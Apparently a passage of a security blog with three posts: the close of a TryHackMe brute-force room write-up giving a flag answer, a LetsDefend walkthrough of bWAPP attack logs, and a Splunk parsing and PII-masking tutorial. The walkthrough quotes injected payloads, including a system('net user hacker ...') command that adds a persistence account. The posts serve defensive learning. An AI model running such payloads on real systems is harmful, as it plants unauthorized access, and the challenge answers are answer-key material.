3. Developed a methodology to exploit the vulnerability
4. Retrieved the flag after successful exploitation

Task 5: Exploiting HTTP Basic Authentication

This task focuses on exploiting vulnerabilities in HTTP Basic Authentication implementations.

Question: What is the flag? Answer: THM{b4$$1C_AuTTHHH}

Attack Methodology

1. Identified the Basic Authentication mechanism
2. Analyzed potential weaknesses
3. Developed and executed exploitation strategy
4. Successfully retrieved the flag

Task 6: OSINT

The OSINT task introduces techniques for gathering information from publicly available sources. While no specific answers were required, this section provided valuable insights into:

• Social media reconnaissance
• Public data source analysis
• Information correlation techniques
• OSINT tool usage

Task 7: Conclusion

This room provided comprehensive hands-on experience with various enumeration and brute force techniques. Key takeaways include:

1. The importance of proper error message handling in authentication systems
2. Understanding common vulnerabilities in password reset mechanisms
3. Proper implementation of HTTP Basic Authentication
4. The role of OSINT in security assessments
5. Best practices for preventing enumeration attacks

Defensive Recommendations

• Implement generic error messages
• Use secure password reset mechanisms
• Properly configure authentication systems
• Regular security assessments
• Employee security awareness training

If you’re interested in trying this room yourself, you can find it on TryHackMe.

Additional Resources

• OWASP Authentication Cheat Sheet
• OWASP Brute Force Attack Prevention
• Port Swigger Web Security Academy

Remember: This knowledge should be used ethically and legally, preferably in controlled environments like TryHackMe rooms or with explicit permission.

In this post, I’ll walk you through solving the “Investigating Web Attacks Challenge” from Let’s Defend. The challenge uses logs sourced from the bWAPP web application, an intentionally vulnerable app designed to help security professionals practice identifying and analyzing real-world attack patterns. In this guide, I’ll show you how I analyzed the logs to answer each question.

Question 1: Which automated scan tool did the attacker use for web reconnaissance?

At line 30, I found Nikto in the User-Agent string, confirming that the attacker used Nikto, a popular web vulnerability scanning tool.

Answer: Nikto

Question 2: After web reconnaissance, which technique did the attacker use for directory listing discovery?

The Nikto User-Agent strings continued throughout the log. I used this command to jump to the last Nikto entry:

grep -n "Nikto" access.log | tail -n 1

Reviewing the subsequent requests, I noticed the attacker was attempting to enumerate directory paths in alphabetical order, many of which returned 404 Not Found responses. This pattern is consistent with directory brute forcing.

Answer: Directory brute force

Question 3: What is the third attack type after directory listing discovery?

After directory brute force, the attacker shifted to a brute-force login attack. Logs showed repeated POST requests to /bWAPP/login.php with the same User-Agent string, indicating attempts to guess credentials.

Answer: Brute force

Question 4: Is the third attack successful?

Yes. The brute force login attempt was successful. The logs showed HTTP status codes changing from 200 OK to 302 Found, which indicates redirection after a successful login. Additionally, the response size increased significantly, confirming the login.

Answer: Yes

Question 5: What is the name of the fourth attack?

After gaining access, the attacker launched a code injection attack. Logs revealed payloads with system commands passed into URL parameters.

Answer: Code injection

Question 6: What is the first payload for the fourth attack?

The first injected command was:

whoami

This was sent through the vulnerable phpi.php script to determine the current system user.

Answer: whoami

Question 7: Is there any persistency clue for the victim machine in the log file? If yes, what is the related payload?

Yes. The attacker attempted persistence by creating a new user account. The payload was:

system('net user hacker Asd123!! /add')

This would create a user named hacker with the password Asd123!!. Persistence could be extended by adding this account to the administrator group.

Answer: %27net%20user%20hacker%20Asd123!!%20/add%27

Conclusion

By analyzing the logs step by step, I identified that the attacker:

• Used Nikto for reconnaissance
• Performed directory brute forcing
• Launched a brute-force login attack
• Exploited the system with code injection
• Attempted persistence by creating a new user

This challenge highlights the importance of monitoring web server logs for suspicious activity and demonstrates how attackers chain multiple techniques to compromise systems.

I hope this walkthrough helps you approach the “Investigating Web Attacks Challenge” on Let’s Defend with confidence.

Understanding the Flow of Data in Splunk

Splunk handles massive amounts of data from various sources—whether it’s logs from systems, network data, or even scripts. Understanding how data flows through Splunk is key to ensuring it is properly processed and indexed for analysis. Here’s a quick breakdown of the overall data flow:

1. Input Stage – Data is ingested from log files, network devices, scripts, or forwarders and prepared for further processing.
2. Parsing (Event Processing) Stage – This is where Splunk breaks incoming data into events, extracts timestamps, and applies configurations like regular expressions (regex) for line breaking and data masking. These steps are essential for structuring unorganized data and making it useful for analysis.
3. Indexing Stage – After parsing, the structured events are written to disk and indexed, making them ready for future searches.
4. Search Stage – Once indexed, data becomes available for searching, reporting, and alerting through the Splunk search head.

In this article, I’ll be focusing on the Parsing Stage, where I worked on event line breaking, time extraction, and masking sensitive PII data to make logs more structured and easier to analyze, especially logs from sources like Web Application Firewalls (WAF).

You may reference official Splunk documentation for more details about managing event processing on Splunk.

Tackling Event Line Breaking

One of the most valuable aspects of the session was learning how to configure event line breaking in Splunk, a skill that’s essential when dealing with unstructured data. At work, I often have to analyze Web Application Firewall (WAF) logs, and let me tell you, those logs can be a nightmare. WAF logs are usually unstructured and often look like a wall of text, which we jokingly refer to as “log vomit.”

To help me create the right regex patterns for breaking these logs into structured events, I used regex101.com, an online regex editor. This tool was invaluable in allowing me to test my regular expressions in real-time and ensure they would correctly match the patterns in the logs.

By applying the regular expressions (regex) I developed, I was able to identify event boundaries in the logs, split them into individual events, and make the data far more readable. In this case, I worked with JSON logs, using regex to match each event tag and successfully split the logs into structured events.

Here’s an example of how I used regex101 to fine-tune my regex patterns:

<event>([\r\n]+)?

This skill has been directly applicable to my daily work. By teaching Splunk how to interpret the chaotic structure of WAF logs, I’ve significantly reduced the time it takes to analyze them.

Time Extraction Made Simple

Another challenge that came up during the session was the issue of time extraction. In some cases, multiple alerting events get grouped together in a single log file, which makes it difficult to pinpoint when each event occurred. I learned how to handle this by using a timestamp prefix and a regex lookahead to identify and extract the exact timestamp from each event.

In this particular scenario, a strptime() format of %m/%d/%Y was used, which allowed Splunk to accurately interpret the timestamps in the logs. By configuring Splunk to recognize these patterns, I was able to separate events with precision and ensure the timeline was correct, improving the quality of my log analysis.

Masking PII for Data Privacy

As security professionals, protecting sensitive information is always top of mind, especially when dealing with Personally Identifiable Information (PII). In this session, I worked with logs that contained Social Security Numbers, which is highly sensitive data that should be masked to prevent exposure.

Using a regex pattern and updating the props.conf file, I configured Splunk to automatically mask PII in incoming data. The regular expression in sed mode I used, | rex mode=sed "s/\d{3}-\d{2}-\d{4}/xxx-xx-xxxx/g", allowed me to replace the Social Security Numbers with a masked format across all events. This is an essential technique for ensuring compliance with data privacy regulations like GDPR or HIPAA.

s/\d{3}-\d{2}-\d{4}/xxx-xx-xxxx/g

Introducing the Magic 6 in props.conf

During the session, I also learned about the Magic 6—a set of six key settings in Splunk’s props.conf file that control how incoming data is processed. Mastering these settings is essential for configuring how Splunk breaks events, extracts timestamps, and structures data for analysis. Here’s a brief overview:

1. SHOULD_LINEMERGE – Determines whether Splunk should merge multiple lines into a single event.
2. LINE_BREAKER – Defines the pattern for identifying the start of a new event.
3. TIME_PREFIX – Specifies the pattern that precedes the timestamp in the log.
4. TIME_FORMAT – Defines the format of the timestamp (e.g., %m/%d/%Y).
5. MAX_TIMESTAMP_LOOKAHEAD – Specifies how far Splunk should look to find a timestamp.
6. TRUNCATE – Limits the number of characters Splunk reads from an event.

In addition to the Magic 6, there’s also the Magic 8, which includes two more settings: DATETIME_CONFIG and BREAK_ONLY_BEFORE. These are helpful when dealing with more complex log structures, such as multi-line events.

Applying These Skills in Real-World Scenarios

The skills I learned in this hands-on session have already had a direct impact on how I handle logs in my day-to-day work. WAF logs that once took me hours to analyze can now be broken down and structured in minutes, and I’m better equipped to protect sensitive data like PII. Additionally, understanding the Magic 6 in the props.conf file has improved my ability to fine-tune how Splunk processes and organizes incoming data.

If you’re looking to optimize your Splunk Data Administration skills, I highly recommend diving into the Parsing Phase, focusing on event line breaking, time extraction, and working with the props.conf file. These skills are not only useful for analyzing complex logs but also for ensuring data privacy and compliance.

Stay tuned for more hands-on insights!
In my future posts, I’ll be sharing even more tips and techniques to improve your Splunk data analysis and threat detection workflows.